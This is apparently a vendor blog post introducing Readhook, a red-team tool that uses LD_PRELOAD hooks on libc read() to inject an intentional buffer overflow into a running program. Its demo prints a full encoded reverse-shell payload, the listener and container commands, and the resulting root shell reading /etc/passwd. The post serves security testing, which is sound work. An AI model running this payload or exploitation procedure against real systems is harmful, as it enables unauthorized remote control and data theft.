An Intentional Buffer Overflow? Hmm…

Plex Solutions, one of only a handful of National Security Agency (NSA) accredited vulnerability testing organizations, has acquired and open-sourced Readhook, an intentional (and very helpful) buffer-overflow tool which Red-teams and individuals can use to get past the difficult and time-consuming business of crafting an exploit.

What if generating a reverse-shell payload against your app was this easy?

xyzzxMAKELOADdocker.for.mac.localhost
xyzzyOVERFLOWAAAAAAAAAAAIAAAAAABCKhAAAAAAAEIqXhoAAAAAUH4AAAAAAABTfmcaAAAAAFB+ABAAAAAAAABwGgAAAABQfgcAAAAAAAAAyFsDAAAATH5YAAAAAABCfmopWJlqAl9qAV4PBUiXSLkCABWzwKhBAlFIieZqEFpqKlgPBWoDXkj/zmohWA8FdfZqO1iZSLsvYmluL3NoAFNIiedSV0iJ5g8FAAAAAAAA

Zero-day vulnerabilities live an average of eight months in dark places, during which hackers find ways to own you. Is there a zero-day in your world? You bet there is, and you’ll find out about it and the rest of them in about eight months, long after you’ve already lost the war.

Your red-team has told you that you’re good as far as they can tell, but can they tell you if you’ll be good the day after the next zero-day hits? Nah, you’ll just sweat about how you had an open door for eight months, and then thrash about reactively trying to shore things up with the patches that trickle in from just about everywhere. Ahh, but what’s been going on for those past eight months? You need to know how vulnerable you are right now, but how?

In the ideal open-source world, everybody is leveraging each other. You use what others have developed, you contribute when it supports the community, and you keep the goose that lays the golden eggs closed-source. Open-source public-domain software has been a resounding success, but there is a problem; that shared code (likely around 80% of your running application) is the same code that everybody else is using. This means that everybody knows most of the code that you are using.

The bad guys know all this, and they also know that once they can find a way into one system, they can use the same method to get into lots of systems… including yours. Extend the mandate of your red-team to answer not only the question, “Are we vulnerable?” (you are), but if so, “What could go wrong?” (a lot). What would happen if someone got into your system during the many months that a vulnerability remains exclusively in the domain of stealthy black-hat hackers?

“We have no buffer overflow vulnerabilities in our code,” is a great finding from your red-team, but it’s not true. Really? Yes! There are around 1,000 vulnerabilities disclosed each month, many of which are overflow vulnerabilities, many of which are open-source, and many of which are in codebases that are perpetually thought to have no overflow vulnerabilities. The takeaway? Assume you have a buffer overflow vulnerability. Now what?

Plex Solutions has open-sourced a tool called “readhook” that empowers your Red-team to answer the second question, “What could go wrong?” By temporarily injecting a buffer overflow vulnerability into your running application, your red-team can craft buffer-overflow exploits against a predictable and well-documented target that can even answer the question “What payload should I overflow with?” That’s right, readhook will actually return the exact payload that you need to successfully “own” or “pwn” your application at this moment.

So what? Here’s what you need to know. Hacking is hard for a lot of reasons, and, for the past 15 years, more and more mitigations have been developed to thwart hackers that enter via buffer-overflow and code-re-use vectors. Mitigations such as Address Space Layout Randomization (ASLR) for library, stack and heap randomization, Position Independent Executable (PIE) for executable base address randomization, Stack Canaries for buffer overflow detection, and more. Each of these mitigations can and routinely are defeated by dedicated hackers, but doing so for your red-team can be arduous and time consuming. You need to know what would happen if someone got in (they can), so readhook can conveniently get your red-team past those details and to the big question, “What could go wrong?”

I’ll show you the simple mechanics of readhook. The takeaway should be a surprising realization for many people: that your vulnerability comes far more from and even exclusively from the open-source packages that support your application, not your application itself. It’s true that you could have the most secure and simple program in the world and still get owned. Why? Hackers depend on encountering a predictable subset of code on your computer. They must know exactly what they have to work with, and it’s not your program that they know all that much about, it’s all of those open-source packages that your application depends on (which is running exactly the same way on your computer as it is on theirs).

How does readhook work? Readhook consists of two small dynamic libraries (basehook.so and fullhook.so) that are caused to load before the standard system library “libc” loads. These libraries insert themselves in front of the system read() function in libc, where they watch the data read by your application. Basehook.so contains the bare function needed to introduce the buffer overflow. Fullhook.so contains additional functionality that can return a complete exploit that will succeed in the hooked environment. Both functions remain in pass-through mode until a special string is detected in the read stream. The special string that triggers basehook.so is “xyzzy” followed by the verb “OVERFLOW”. The special string that triggers fullhook.so is “xyzzx” followed by one of the verbs, “MAKELOAD”, “DUMPLOAD”, “TESTLOAD” or “OVERFLOW”. If the verb is “OVERFLOW”, the remaining data is routed to an intentional and classic buffer overflow occurring from an out-of-bounds write to an undersized array. Without going into detail in this post, somewhere beyond the end of this buffer lies the return address of the function. Overflowing the return address of the buffer with arbitrary data will crash the program, but overflowing the return address with just the right bits (a ROP-gadget or ROP-chain) will give an attacker control of your machine (as soon as the function executes its return statement).


Demo

Let’s show readhook in action by hooking a standard Linux utility (nc) and then have it “phone home” to a listener on port 5555 via a buffer-overflow exploit. I’m going to rely on Docker to host nc (netcat or ncat on some systems) with readhook, and my Mac will be listening for the call (also using nc, so try to keep them straight as you step through this). The plain text in the blocks are commands that you can cut and paste into your shells, the bold text are examples of what you can expect to see back from the command.

Shell 1: Start a listener for the exploit to call back to. You’ll need the IP address of this listener so you can generate a payload that knows where to call back to. (Since I’m using Docker for Mac, I can use the Docker DNS entry “docker.for.mac.localhost”, which resolves to my Mac Docker IP address.)

nc -l 5555

Shell 2: Open a new shell to start the echo server with readhook. The following commands retrieve the readhook components and runs (a second) nc configured as an “echo server” with readhook active.

docker run --rm --name echo -d -p 8080:8080 alpine:3.7 sh -c 'wget -q -O /tmp/basehook.so https://github.com/plexsolutions/readhook/releases/download/v1.2.2/basehook.so && wget -q -O /tmp/fullhook.so https://github.com/plexsolutions/readhook/releases/download/v1.2.2/fullhook.so && LD_PRELOAD="/tmp/fullhook.so /tmp/basehook.so" nc -l -p 8080 -e /bin/cat'

Shell 2: In the same shell, run (a third) nc to connect to the echo server that you just launched. (It’s running in the background.)

nc localhost 8080
echo-this-back-to-me
echo-this-back-to-me

Shell 2: Also in the same shell, try the same thing with the magic string “xyzzx”, the verb “MAKELOAD”, and the IP address (or DNS name) of the listener (listening in shell 1; in my case, I can use the special Docker DNS name “docker.for.mac.localhost”).

xyzzxMAKELOADdocker.for.mac.localhost
xyzzyOVERFLOWAAAAAAAAAAAIAAAAAABCKhAAAAAAAEIqXhoAAAAAUH4AAAAAAABTfmcaAAAAAFB+ABAAAAAAAABwGgAAAABQfgcAAAAAAAAAyFsDAAAATH5YAAAAAABCfmopWJlqAl9qAV4PBUiXSLkCABWzwKhBAlFIieZqEFpqKlgPBWoDXkj/zmohWA8FdfZqO1iZSLsvYmluL3NoAFNIiedSV0iJ5g8FAAAAAAAA

Aha! That’s not an echo, it’s the string that will cause nc to phone home to the listener. Let’s test it out.

Shell 2: Copy the result from above (the bold text) and send it back to the echo server. It contains a magic string and a different verb, “OVERFLOW”.

xyzzyOVERFLOWAAAAAAAAAAAIAAAAAABCKhAAAAAAAEIqXhoAAAAAUH4AAAAAAABTfmcaAAAAAFB+ABAAAAAAAABwGgAAAABQfgcAAAAAAAAAyFsDAAAATH5YAAAAAABCfmopWJlqAl9qAV4PBUiXSLkCABWzwKhBAlFIieZqEFpqKlgPBWoDXkj/zmohWA8FdfZqO1iZSLsvYmluL3NoAFNIiedSV0iJ5g8FAAAAAAAA
$

Hmm… That’s not an echo either. (It turns out the echo server has given way to our exploit: there is now a reverse shell where our echo server used to be.) Let’s go back to our original listener running in Shell 1 to see what we can do.

Shell 1: Go back to the first shell that is listening to port 5555.

whoami
root
cat /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin

That’s it! You can do the same thing with any application that links to libc (which is just about everything).


Additional Information:
• You will find the readhook repository here.
• You can see a demo in the screencast below.

Want to watch Readhook in action? Check out our screencast:

Revisions:
• Edited on 2-Feb-2018 to reflect release of readhook v1.1.0.
• Edited on 21-May-2018 to reflect release of readhook v1.2.2.
• Edited on 28-Jul-2018 to reflect transfer of Readhook to Plex Solutions.

The registered trademark Linux® is used pursuant to a sublicense from the Linux Foundation, the exclusive licensee of Linus Torvalds, owner of the mark on a world­wide basis.